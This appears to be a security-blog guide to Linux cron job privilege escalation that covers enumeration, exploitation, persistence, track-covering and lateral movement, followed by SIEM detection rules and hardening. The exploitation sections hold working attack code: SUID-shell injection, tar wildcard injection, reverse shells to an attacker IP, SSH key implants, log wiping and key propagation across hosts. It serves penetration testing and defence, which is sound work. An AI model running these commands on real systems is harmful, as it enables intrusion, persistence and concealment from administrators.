Cron job abuse showing scheduled task exploitation and privilege escalation techniques

Linux Cron Job Abuse for Privilege Escalation and Persistence

Comprehensive guide to exploiting cron job misconfigurations for privilege escalation and persistence, covering detection methods, exploitation techniques, and hardening strategies.

Feb 12, 2026
Updated Dec 11, 2025
2 min read

Introduction

Cron is the time-based job scheduling daemon in Unix-like operating systems, allowing users and administrators to automate recurring tasks. The cron daemon (crond) runs in the background and executes commands or scripts at scheduled intervals defined in configuration files called crontabs. While cron provides essential system automation capabilities, misconfigurations and weak permissions create powerful privilege escalation and persistence vectors for attackers.

Cron jobs execute with the privileges of the user who owns the crontab, making root-owned cron jobs particularly valuable targets. If a root cron job executes a world-writable script or references files in user-controlled directories, attackers can inject malicious code that executes with root privileges. Additionally, users with write access to system cron directories (/etc/cron.d/, /etc/cron.daily/) can create persistent backdoors that survive reboots and execute at predictable intervals.

Cron-based privilege escalation manifests in several scenarios:

  • World-writable cron scripts: Root cron jobs executing scripts modifiable by unprivileged users
  • Relative path vulnerabilities: Cron jobs using commands without absolute paths (combined with PATH manipulation)
  • Wildcard injection: Cron jobs using wildcards in commands (e.g., tar *, chown *)
  • Writable cron directories: User access to /etc/cron.d/, /etc/cron.hourly/, etc.
  • Race conditions: Exploiting time-of-check-to-time-of-use vulnerabilities in cron scripts
  • Symlink attacks: Manipulating symbolic links referenced by cron jobs

Cron Exploitation in the Wild

Cron job abuse remains a staple technique in privilege escalation:

  • 35-45% of Linux privilege escalation opportunities involve cron misconfigurations
  • Legacy systems often have world-writable cron scripts from years-old deployments
  • Backup scripts are frequent targets due to their need to access sensitive data
  • Custom automation by system administrators often lacks security review
  • Container environments sometimes have relaxed cron permissions
  • IoT and embedded devices ship with insecure cron configurations

Cron exploitation is reliable, stealthy (executes at predictable times), and provides automatic persistence (survives reboots).

Technical Background

Cron Architecture

The cron system consists of several components:

Cron Daemon (crond/cron):

  • Runs continuously in the background
  • Checks crontab files every minute
  • Executes scheduled commands as the appropriate user
  • Logs execution to syslog (typically /var/log/cron or /var/log/syslog)

Crontab Files: Define scheduled jobs

LocationPurposeOwnershipTypical Permissions
/etc/crontabSystem-wide crontabroot:root644
/etc/cron.d/System cron jobs (modular)root:root644 per file
/var/spool/cron/crontabs/User-specific crontabsuser:crontab600
/etc/cron.hourly/Scripts run hourlyroot:root755 for scripts
/etc/cron.daily/Scripts run dailyroot:root755 for scripts
/etc/cron.weekly/Scripts run weeklyroot:root755 for scripts
/etc/cron.monthly/Scripts run monthlyroot:root755 for scripts

Cron Access Control:

  • /etc/cron.allow: Users permitted to use cron (if exists, only these users allowed)
  • /etc/cron.deny: Users prohibited from using cron (if no cron.allow exists)

Crontab Syntax

Crontab entries follow this format:

# ┌───────────── minute (0 - 59)
# │ ┌───────────── hour (0 - 23)
# │ │ ┌───────────── day of month (1 - 31)
# │ │ │ ┌───────────── month (1 - 12)
# │ │ │ │ ┌───────────── day of week (0 - 6) (Sunday=0)
# │ │ │ │ │
# │ │ │ │ │
# * * * * * command to execute

# Examples:
*/5 * * * * /usr/local/bin/check_system.sh          # Every 5 minutes
0 */12 * * * /home/admin/backup.sh                  # Every 12 hours
0 2 * * * /usr/local/bin/cleanup.sh                 # Daily at 2 AM
0 0 * * 0 /usr/local/bin/weekly_report.sh           # Weekly on Sunday at midnight
@reboot /usr/local/bin/startup_script.sh            # At system boot

Special strings:

  • @reboot: Run once at startup
  • @yearly / @annually: Run once a year (0 0 1 1 *)
  • @monthly: Run once a month (0 0 1 * *)
  • @weekly: Run once a week (0 0 * * 0)
  • @daily / @midnight: Run once a day (0 0 * * *)
  • @hourly: Run once an hour (0 * * * *)

Common Cron Misconfigurations

World-Writable Cron Scripts

Vulnerability: Root cron job executes a script that any user can modify.

# /etc/crontab
*/5 * * * * root /usr/local/bin/backup.sh

# Check permissions
ls -la /usr/local/bin/backup.sh
# -rwxrwxrwx 1 root root 1234 Jan 15 10:30 /usr/local/bin/backup.sh
#  ^^^^^^^^^ WORLD WRITABLE!

Impact: Any user can modify backup.sh to execute arbitrary commands as root.

Exploitation:

# Append malicious code to the script
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /usr/local/bin/backup.sh

# Wait for cron execution (up to 5 minutes)
# Then get root shell
/tmp/rootbash -p

Writable Directories Referenced by Cron

Vulnerability: Cron job operates on files in a user-writable directory.

# /etc/crontab
*/10 * * * * root /usr/bin/tar -czf /backup/home.tar.gz /home/user/*.conf

# The /home/user/ directory is writable by user
ls -ld /home/user/
# drwxrwxrwx 2 user user 4096 Jan 15 10:30 /home/user/

Impact: User can create malicious files that get included in the tar archive, potentially exploiting tar vulnerabilities or wildcard injection.

Relative Paths in Cron Jobs

Vulnerability: Cron job uses commands without absolute paths, relying on PATH environment variable.

# /etc/crontab
*/15 * * * * root backup_script.sh

Impact: If attacker can control PATH or create backup_script.sh in a directory that precedes the legitimate location, they can hijack execution.

Note: System cron jobs (/etc/crontab, /etc/cron.d/*) typically define PATH explicitly, reducing this risk. User crontabs may be more vulnerable.

Wildcard Injection

Vulnerability: Cron job uses wildcards with commands that interpret filenames as arguments.

# /etc/cron.daily/backup
#!/bin/bash
cd /home/backups/
tar czf /backup/data.tar.gz *
chown backup:backup /backup/*

Impact: An attacker can create specially named files that become command arguments.

Example exploitation:

# In /home/backups/, create:
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh

# When tar runs with *, these become arguments:
# tar czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files]
# tar executes shell.sh, creating SUID root shell

Detection and Enumeration

Enumerating Cron Jobs

# List system-wide cron jobs
cat /etc/crontab

# List cron.d jobs
ls -la /etc/cron.d/
cat /etc/cron.d/*

# List periodic cron scripts
ls -la /etc/cron.{hourly,daily,weekly,monthly}/

# List current user's crontab
crontab -l

# List other users' crontabs (requires root)
for user in $(cut -f1 -d: /etc/passwd); do
    echo "Crontab for $user:"
    crontab -u $user -l 2>/dev/null
done

# Check cron spool directory
ls -la /var/spool/cron/crontabs/

# View systemd timers (modern alternative to cron)
systemctl list-timers --all

Finding Writable Cron Scripts

# Method 1: Find world-writable files referenced in cron jobs
grep -r "^\s*[^#]" /etc/cron* /etc/crontab 2>/dev/null | grep -oP '\s(/[^\s]+\.sh|/[^\s]+\.py|/[^\s]+\.pl)' | sort -u | while read script; do
    if [ -f "$script" ] && [ -w "$script" ]; then
        echo "[!] Writable cron script: $script"
        ls -la "$script"
    fi
done

# Method 2: Check permissions on all scripts in cron directories
find /etc/cron* -type f -executable 2>/dev/null | while read script; do
    perms=$(stat -c %a "$script")
    owner=$(stat -c %U:%G "$script")

    if [ "$perms" -ge 666 ]; then
        echo "[!] Overly permissive: $script ($owner, $perms)"
    fi

    # Check if writable by current user
    if [ -w "$script" ]; then
        echo "[!] Writable by current user: $script"
    fi
done

# Method 3: Find cron jobs operating in writable directories
grep -r "cd\s\+/\|^\s*/.*\.sh" /etc/cron* /etc/crontab 2>/dev/null | while read line; do
    dir=$(echo "$line" | grep -oP '(?<=cd\s)/[^\s;]+')
    if [ -n "$dir" ] && [ -d "$dir" ] && [ -w "$dir" ]; then
        echo "[!] Cron operates in writable directory: $dir"
        echo "    Line: $line"
    fi
done

Monitoring Cron Execution

Use pspy to monitor cron job execution without root privileges:

# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

chmod +x pspy64

# Run pspy to monitor processes
./pspy64 -pf -i 1000

# Output shows cron jobs as they execute:
# 2026-02-12 10:00:01 CMD: UID=0    PID=12345  | /bin/sh -c /usr/local/bin/backup.sh
# 2026-02-12 10:00:01 CMD: UID=0    PID=12346  | /bin/bash /usr/local/bin/backup.sh
# 2026-02-12 10:00:02 CMD: UID=0    PID=12347  | tar czf /backup/data.tar.gz /data/

# Identify:
# - Cron jobs running as root (UID=0)
# - Scripts and commands being executed
# - Frequency of execution
# - Working directories

Analyzing Cron Logs

# View cron execution logs (Debian/Ubuntu)
grep CRON /var/log/syslog | tail -n 50

# View cron logs (Red Hat/CentOS)
grep CRON /var/log/cron | tail -n 50

# Extract unique cron commands
grep CRON /var/log/syslog | grep CMD | awk -F'CMD' '{print $2}' | sort -u

# Find recently executed cron jobs
grep CRON /var/log/syslog | grep "$(date +%b\ %d)" | grep CMD

# Identify cron jobs that failed
grep CRON /var/log/syslog | grep -i "error\|fail"

Automated Enumeration

# LinPEAS - Linux Privilege Escalation Awesome Script
./linpeas.sh | grep -A 30 "CRON"

# Output includes:
# [+] Cron jobs
# [i] https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
#
# /etc/crontab:
# */5 * * * * root /usr/local/bin/backup.sh
#
# [!] /usr/local/bin/backup.sh is writable by current user
#
# Analyzing scripts in /etc/cron.d/...
# [!] /etc/cron.d/backup contains writable script reference

# Full enumeration with thorough checks
./linpeas.sh -a 2>&1 | tee linpeas_output.txt
# LinEnum - Linux Enumeration Script
./LinEnum.sh -t

# Check cron section in output:
# Cron jobs:
# -rw-r--r-- 1 root root 722 Apr  5  2016 /etc/crontab
# */5 * * * * root /usr/local/bin/backup.sh
#
# Cron jobs writable by current user:
# [+] /usr/local/bin/backup.sh

# Look for keyword reports
./LinEnum.sh -k password -k backup -r report.txt
# pspy - Monitor processes without root
./pspy64 -pf -i 1000 > pspy_output.txt &

# Let run for 15-30 minutes to capture cron cycles
sleep 1800

# Analyze output
grep "UID=0" pspy_output.txt | grep -E "sh|bash|python|perl" | sort -u

# Identify patterns
grep "CMD:" pspy_output.txt | awk '{print $NF}' | sort | uniq -c | sort -rn

# Find scripts executed by root
grep "UID=0" pspy_output.txt | grep -oP '/[^\s]+\.(sh|py|pl)' | sort -u
#!/bin/bash
# Comprehensive cron enumeration

echo "[*] Cron Enumeration Script"
echo "[*] ========================"

# 1. List all cron jobs
echo -e "\n[*] System-wide cron jobs:"
cat /etc/crontab 2>/dev/null

echo -e "\n[*] Cron.d jobs:"
find /etc/cron.d/ -type f 2>/dev/null -exec echo "--- {} ---" \; -exec cat {} \;

echo -e "\n[*] Periodic cron scripts:"
for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do
    echo "Directory: $dir"
    ls -la "$dir" 2>/dev/null
done

# 2. Check for writable scripts
echo -e "\n[*] Checking for writable cron scripts..."
find /etc/cron* -type f 2>/dev/null | while read file; do
    if [ -w "$file" ]; then
        echo "[!] Writable: $file"
        ls -la "$file"
    fi
done

# 3. Extract script paths from cron jobs
echo -e "\n[*] Analyzing referenced scripts..."
grep -rhE "^\s*(\*|[0-9])" /etc/cron* /etc/crontab 2>/dev/null | \
    grep -v "^#" | \
    grep -oP '/[^\s]+\.(sh|py|pl|rb)' | \
    sort -u | \
    while read script; do
        if [ -f "$script" ]; then
            perms=$(stat -c %a "$script" 2>/dev/null)
            owner=$(stat -c %U:%G "$script" 2>/dev/null)
            writable=$([ -w "$script" ] && echo "YES" || echo "NO")

            echo "Script: $script"
            echo "  Permissions: $perms ($owner)"
            echo "  Writable: $writable"

            if [ "$writable" == "YES" ]; then
                echo "  [!] EXPLOITABLE"
            fi
        fi
    done

# 4. Check for wildcard usage
echo -e "\n[*] Checking for wildcard usage..."
grep -rhE "tar.*\*|chown.*\*|chmod.*\*|rsync.*\*" /etc/cron* /var/spool/cron/crontabs/* 2>/dev/null | \
    while read line; do
        echo "[!] Potential wildcard injection: $line"
    done

echo -e "\n[*] Enumeration complete"

Exploitation Techniques

Exploiting World-Writable Cron Scripts

The most straightforward privilege escalation:

Identify Writable Script

Find a cron job running as root that executes a world-writable script

Backup Original Script

Preserve the original for restoration and stealth

Inject Malicious Code

Append commands to create backdoor or root shell

Wait for Execution

Cron will execute the modified script at its scheduled time

Verify Success

Confirm root access via backdoor account or SUID shell

Restore Original (Optional)

Clean up to avoid detection

Complete exploitation example:

# Step 1: Identify vulnerable cron job
cat /etc/crontab
# */3 * * * * root /dmz-backups/backup.sh

# Step 2: Check permissions
ls -la /dmz-backups/backup.sh
# -rwxrwxrwx 1 root root 230 Jan 15 10:30 /dmz-backups/backup.sh

# Step 3: Examine the script
cat /dmz-backups/backup.sh
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%Y%m%d-%H%M%S).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR

# Step 4: Backup original
cp /dmz-backups/backup.sh /tmp/backup.sh.bak

# Step 5: Inject malicious code (multiple options)

# Option A: Create SUID root shell
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /dmz-backups/backup.sh

# Option B: Add backdoor user
echo 'useradd -m -s /bin/bash -G sudo backdoor; echo "backdoor:P@ssw0rd123" | chpasswd' >> /dmz-backups/backup.sh

# Option C: Reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' >> /dmz-backups/backup.sh

# Option D: SSH key injection
echo 'mkdir -p /root/.ssh; echo "ssh-rsa AAAAB3Nza... attacker@kali" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys' >> /dmz-backups/backup.sh

# Step 6: Monitor for execution
watch -n 10 'ls -la /tmp/rootbash 2>/dev/null'

# Or use pspy
./pspy64 -pf | grep backup.sh

# Step 7: After cron executes (within 3 minutes), access root
/tmp/rootbash -p

id
# uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)

whoami
# root

# Step 8: Clean up (optional)
cp /tmp/backup.sh.bak /dmz-backups/backup.sh
rm /tmp/backup.sh.bak

Wildcard Injection in Tar Commands

Exploiting tar's wildcard interpretation:

# Vulnerable cron job: /etc/cron.daily/backup
#!/bin/bash
cd /home/backups/
tar czf /backup/data.tar.gz *

# Exploitation:
cd /home/backups/

# Create checkpoint files
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'

# When cron executes tar czf /backup/data.tar.gz *
# The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# tar interprets these as command-line arguments
# tar executes shell.sh with root privileges

# Wait for cron execution
# Check for SUID shell
ls -la /tmp/rootbash

# Access root shell
/tmp/rootbash -p

Wildcard Injection in Chown Commands

Similar technique with chown:

# Vulnerable cron job
#!/bin/bash
cd /var/www/uploads/
chown www-data:www-data *

# Exploitation:
cd /var/www/uploads/

# Create reference file owned by root
touch rootfile
sudo chown root:root rootfile

# Create symlink and exploit chown --reference
ln -s /etc/passwd link_to_passwd
touch -- '--reference=rootfile'

# When chown runs: chown www-data:www-data --reference=rootfile link_to_passwd [other files]
# However, chown follows symlinks, and --reference doesn't work as exploitation vector for chown

# Better approach: Use --no-dereference to prevent following symlinks
# or manipulate PATH if chown is called without absolute path

Exploiting Cron PATH Variable

When cron jobs use relative command names:

# Vulnerable cron job in /etc/cron.d/backup
PATH=/home/user/bin:/usr/local/bin:/usr/bin:/bin
*/5 * * * * root backup_data

# If /home/user/bin is user-writable:
mkdir -p /home/user/bin
cat > /home/user/bin/backup_data << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Optionally call real backup_data if it exists
/usr/local/bin/backup_data 2>/dev/null
EOF

chmod +x /home/user/bin/backup_data

# Wait for cron execution
# Access root shell
/tmp/rootbash -p

Exploiting Cron Scripts with Relative Paths

When scripts use commands without absolute paths:

# Vulnerable script: /usr/local/bin/system_check.sh (called by root cron)
#!/bin/bash
netstat -tulpn > /var/log/connections.log
ps aux > /var/log/processes.log
df -h > /var/log/disk_usage.log

# If we can modify PATH before script execution (rare, but possible with certain configurations)
# Or if the script sources a user-modifiable file that sets PATH

# Create malicious 'netstat'
mkdir /tmp/exploit
cat > /tmp/exploit/netstat << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/netstat "$@"  # Call real netstat to avoid suspicion
EOF

chmod +x /tmp/exploit/netstat

# Modify PATH if possible (e.g., via /etc/environment or script injection)
# Then wait for cron execution

Race Condition Exploitation

Exploiting TOCTOU (Time-Of-Check-To-Time-Of-Use) vulnerabilities:

# Vulnerable cron script: /etc/cron.daily/cleanup
#!/bin/bash
LOG_FILE="/var/log/cleanup.log"

if [ -f "$LOG_FILE" ]; then
    cat "$LOG_FILE" > /dev/null
fi

rm -f /tmp/*.tmp

# Exploitation via symlink race:
# The script checks if LOG_FILE exists, then reads it
# Between check and read, we can replace with symlink to sensitive file

while true; do
    # Create regular file
    touch /var/log/cleanup.log
    # Immediately replace with symlink
    rm /var/log/cleanup.log
    ln -s /etc/shadow /var/log/cleanup.log
    sleep 0.01
done &

# Race the cron execution
# If successful, cron will cat /etc/shadow (or other sensitive file)
# Can redirect output or use to escalate privileges

Advanced Exploitation Scenarios

Persistence via Cron

Create persistent backdoors using cron:

# Method 1: Add to system crontab (requires root)
echo '*/5 * * * * root /usr/bin/python3 -c "import socket,os,pty;s=socket.socket();s.connect((\"10.10.14.5\",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"' >> /etc/crontab

# Method 2: Add to cron.d (requires root)
cat > /etc/cron.d/persistence << 'EOF'
*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
EOF
chmod 644 /etc/cron.d/persistence

# Method 3: User crontab (lower privilege)
(crontab -l 2>/dev/null; echo "*/15 * * * * /tmp/.hidden/beacon.sh") | crontab -

# Method 4: @reboot for persistent execution
(crontab -l 2>/dev/null; echo "@reboot /tmp/.backdoor/startup.sh") | crontab -

# Method 5: Hide in legitimate-looking job
(crontab -l 2>/dev/null; echo "0 3 * * * /usr/local/bin/system_update.sh") | crontab -
# Where system_update.sh contains backdoor + legitimate functionality

# Listener on attacker machine
nc -lvnp 443

Covering Tracks

Minimize detection after exploitation:

# 1. Restore original script after exploitation
cp /tmp/backup_original.sh /usr/local/bin/backup.sh

# 2. Clear cron logs
sed -i '/backup.sh/d' /var/log/cron
sed -i '/backup.sh/d' /var/log/syslog

# 3. Modify script to self-restore after creating backdoor
cat >> /usr/local/bin/backup.sh << 'EOF'
# Create backdoor
cp /bin/bash /tmp/.hidden/rootbash
chmod 4755 /tmp/.hidden/rootbash

# Restore original script
curl -s http://10.10.14.5/backup_original.sh > /usr/local/bin/backup.sh
chmod 755 /usr/local/bin/backup.sh
EOF

# 4. Use temporary cron jobs that delete themselves
echo "* * * * * root /tmp/payload.sh && sed -i '/payload.sh/d' /etc/crontab" >> /etc/crontab

# 5. Timestomp modified files
touch -r /etc/passwd /usr/local/bin/backup.sh

Lateral Movement via Cron

Spread access across multiple systems:

# Scenario: Compromised server with root cron access

# Add cron job that spreads SSH key to other servers
cat > /etc/cron.d/propagate << 'EOF'
*/30 * * * * root /usr/local/bin/spread_access.sh
EOF

cat > /usr/local/bin/spread_access.sh << 'EOF'
#!/bin/bash
SSH_KEY="ssh-rsa AAAAB3NzaC1yc2E... attacker@kali"
TARGETS="10.10.10.10 10.10.10.11 10.10.10.12"

for target in $TARGETS; do
    ssh -o StrictHostKeyChecking=no root@$target "mkdir -p /root/.ssh; echo '$SSH_KEY' >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys" 2>/dev/null &
done
EOF

chmod 755 /usr/local/bin/spread_access.sh

# Cron will automatically attempt to spread access every 30 minutes

Detection and Monitoring

Real-Time Cron Monitoring

# Monitor cron execution in real-time
tail -f /var/log/cron /var/log/syslog | grep CRON

# Watch for file modifications in cron directories
inotifywait -m -r -e modify,create,delete /etc/cron* --format '%T %w%f %e' --timefmt '%Y-%m-%d %H:%M:%S'

# Audit cron file access
auditctl -w /etc/crontab -p wa -k cron_modification
auditctl -w /etc/cron.d/ -p wa -k cron_modification
auditctl -w /var/spool/cron/crontabs/ -p wa -k cron_modification

# View audit logs
ausearch -k cron_modification

Cron Job Baseline

# Create baseline of all cron jobs
#!/bin/bash
BASELINE="/var/security/cron_baseline.txt"

{
    echo "=== /etc/crontab ==="
    cat /etc/crontab 2>/dev/null

    echo -e "\n=== /etc/cron.d/ ==="
    find /etc/cron.d/ -type f -exec echo "--- {} ---" \; -exec cat {} \;

    echo -e "\n=== Periodic cron scripts ==="
    for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do
        echo "Directory: $dir"
        ls -la "$dir" 2>/dev/null
        for script in "$dir"/*; do
            [ -f "$script" ] && echo "$(md5sum "$script")"
        done
    done

    echo -e "\n=== User crontabs ==="
    for user in $(cut -f1 -d: /etc/passwd); do
        crontab -u "$user" -l 2>/dev/null && echo "User: $user"
    done
} > "$BASELINE"

# Periodic comparison
CURRENT="/tmp/cron_current.txt"
# Generate current state (same commands as above)
diff "$BASELINE" "$CURRENT" > /tmp/cron_changes.txt

if [ -s /tmp/cron_changes.txt ]; then
    echo "[!] Cron changes detected!"
    cat /tmp/cron_changes.txt
    mail -s "Cron Job Changes Detected" [email protected] < /tmp/cron_changes.txt
fi

SIEM Detection Rules

Splunk query for suspicious cron activity:

index=linux sourcetype=syslog "CRON"
| rex field=_raw "CMD\s+\((?<cron_command>.*)\)"
| where (
    match(cron_command, "(?i)(bash -i|nc |ncat |/dev/tcp|python.*socket|perl.*socket|ruby.*socket)")
    OR match(cron_command, "(?i)(wget|curl).*http")
    OR match(cron_command, "(?i)chmod.*4[0-9]{3}")
    OR match(cron_command, "(?i)cp.*/bin/bash.*/tmp")
  )
| stats count by host, user, cron_command
| where count > 0

Elastic Stack (EQL) detection:

sequence by host.name with maxspan=5m
  [file where event.type == "change" and
   file.path : ("/etc/crontab", "/etc/cron.d/*", "/var/spool/cron/crontabs/*")]
  [process where event.type == "start" and
   process.parent.name == "cron" and
   process.args : ("bash", "sh", "python", "perl", "*socket*", "*http*")]

Sigma Rule

title: Suspicious Cron Job Activity
id: 7f8e3b2a-9c4d-4e6f-8a5b-1c2d3e4f5a6b
status: experimental
description: Detects suspicious commands executed via cron jobs
references:
    - https://attack.mitre.org/techniques/T1053/003/
tags:
    - attack.persistence
    - attack.privilege_escalation
    - attack.t1053.003
logsource:
    product: linux
    service: syslog
detection:
    selection:
        message|contains: 'CRON'
    filter_suspicious:
        message|contains:
            - 'bash -i'
            - '/dev/tcp'
            - 'nc -'
            - 'wget http'
            - 'curl http'
            - 'chmod 4'
            - 'cp /bin/bash'
            - 'python -c'
            - 'perl -e'
    condition: selection and filter_suspicious
falsepositives:
    - Legitimate administrative automation
    - Monitoring scripts
level: high

Mitigation and Hardening

Secure Cron Configuration

# 1. Set proper permissions on cron files
chmod 600 /etc/crontab
chmod 700 /etc/cron.d
chmod 700 /etc/cron.{hourly,daily,weekly,monthly}
chmod 700 /var/spool/cron/crontabs

# 2. Restrict cron access
# Allow only specific users
echo "root" > /etc/cron.allow
echo "admin" >> /etc/cron.allow
chmod 600 /etc/cron.allow

# Or deny specific users
echo "www-data" > /etc/cron.deny
echo "nobody" >> /etc/cron.deny
chmod 600 /etc/cron.deny

# 3. Remove world-writable permissions
find /etc/cron* -type f -perm -002 -exec chmod o-w {} \;
find /etc/cron* -type d -perm -002 -exec chmod o-w {} \;

# 4. Audit current permissions
find /etc/cron* -type f -ls
find /var/spool/cron -type f -ls

Secure Script Development

# Best practices for cron-executed scripts

#!/bin/bash

# 1. Set strict error handling
set -euo pipefail

# 2. Define absolute PATH
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# 3. Use absolute paths for all commands
/bin/echo "Starting backup..."
/usr/bin/tar czf /backup/data.tar.gz /data/
/bin/gzip /backup/data.tar.gz
/bin/rm -f /tmp/temp_files

# 4. Validate input and environment
if [[ "$PATH" =~ \.|/tmp ]]; then
    /bin/echo "Insecure PATH detected. Exiting." >&2
    exit 1
fi

# 5. Use safe temporary files
TEMP_FILE=$(/bin/mktemp /var/tmp/backup.XXXXXX)
trap "/bin/rm -f $TEMP_FILE" EXIT

# 6. Avoid wildcards with untrusted input
# BAD: tar czf backup.tar.gz *
# GOOD:
/usr/bin/find /data/ -type f -name "*.conf" -print0 | \
    /usr/bin/xargs -0 /usr/bin/tar czf /backup/config.tar.gz

# 7. Log execution
/usr/bin/logger -t backup "Backup completed successfully"

# 8. Check file ownership before operations
if [ "$(/usr/bin/stat -c %U /data/sensitive)" != "root" ]; then
    /bin/echo "Ownership mismatch detected. Exiting." >&2
    exit 1
fi

# 9. Set restrictive umask
umask 077

# 10. Drop privileges when possible
if [ "$EUID" -eq 0 ]; then
    # Perform root operations
    /bin/echo "Running as root"

    # Then drop to unprivileged user for other operations
    /bin/su -s /bin/bash -c '/usr/bin/some_command' nobody
fi

File System Hardening

# Protect against symlink attacks
echo 1 > /proc/sys/fs/protected_symlinks
echo "fs.protected_symlinks = 1" >> /etc/sysctl.conf

# Protect against hardlink attacks
echo 1 > /proc/sys/fs/protected_hardlinks
echo "fs.protected_hardlinks = 1" >> /etc/sysctl.conf

# Restrict /tmp with noexec (prevents execution from /tmp)
mount -o remount,noexec /tmp
# Make permanent in /etc/fstab:
# tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0

# Set restrictive permissions on common exploitation paths
chmod 1777 /tmp /var/tmp  # Sticky bit
chmod 755 /usr/local/bin
chmod 755 /home

Continuous Monitoring

# Deploy monitoring cron job (as root)
cat > /etc/cron.hourly/cron_monitor << 'EOF'
#!/bin/bash
BASELINE="/var/security/cron_baseline.md5"
CURRENT="/tmp/cron_current.md5"
ALERT_EMAIL="[email protected]"

# Generate current checksums
find /etc/cron* /var/spool/cron -type f -exec md5sum {} \; 2>/dev/null | sort > "$CURRENT"

# Compare with baseline
if [ -f "$BASELINE" ]; then
    if ! diff -q "$BASELINE" "$CURRENT" > /dev/null; then
        echo "Cron job modifications detected on $(hostname) at $(date)" | \
            mail -s "ALERT: Cron Changes on $(hostname)" "$ALERT_EMAIL"

        diff "$BASELINE" "$CURRENT" | \
            mail -s "Cron Change Details - $(hostname)" "$ALERT_EMAIL"
    fi
fi

# Update baseline
cp "$CURRENT" "$BASELINE"
EOF

chmod 755 /etc/cron.hourly/cron_monitor

# Initial baseline
/etc/cron.hourly/cron_monitor

References

MITRE ATT&CK Techniques

Linux Documentation

Security Resources

Next Steps

After identifying or securing cron vulnerabilities:

  • Audit all cron jobs for script permissions and command safety
  • Implement file integrity monitoring for cron files and scripts
  • Enforce secure script development practices for system automation
  • Deploy real-time monitoring for cron execution and modifications
  • Educate administrators on cron security best practices
  • Explore related Linux privilege escalation techniques:

Takeaway: Cron job misconfigurations provide reliable privilege escalation and persistence opportunities on Linux systems. The combination of proper file permissions, secure script development, absolute paths, wildcard avoidance, file integrity monitoring, and real-time detection provides comprehensive defense against cron-based attacks. Make cron security a core component of your Linux hardening checklist and system administration training programs.

Last updated on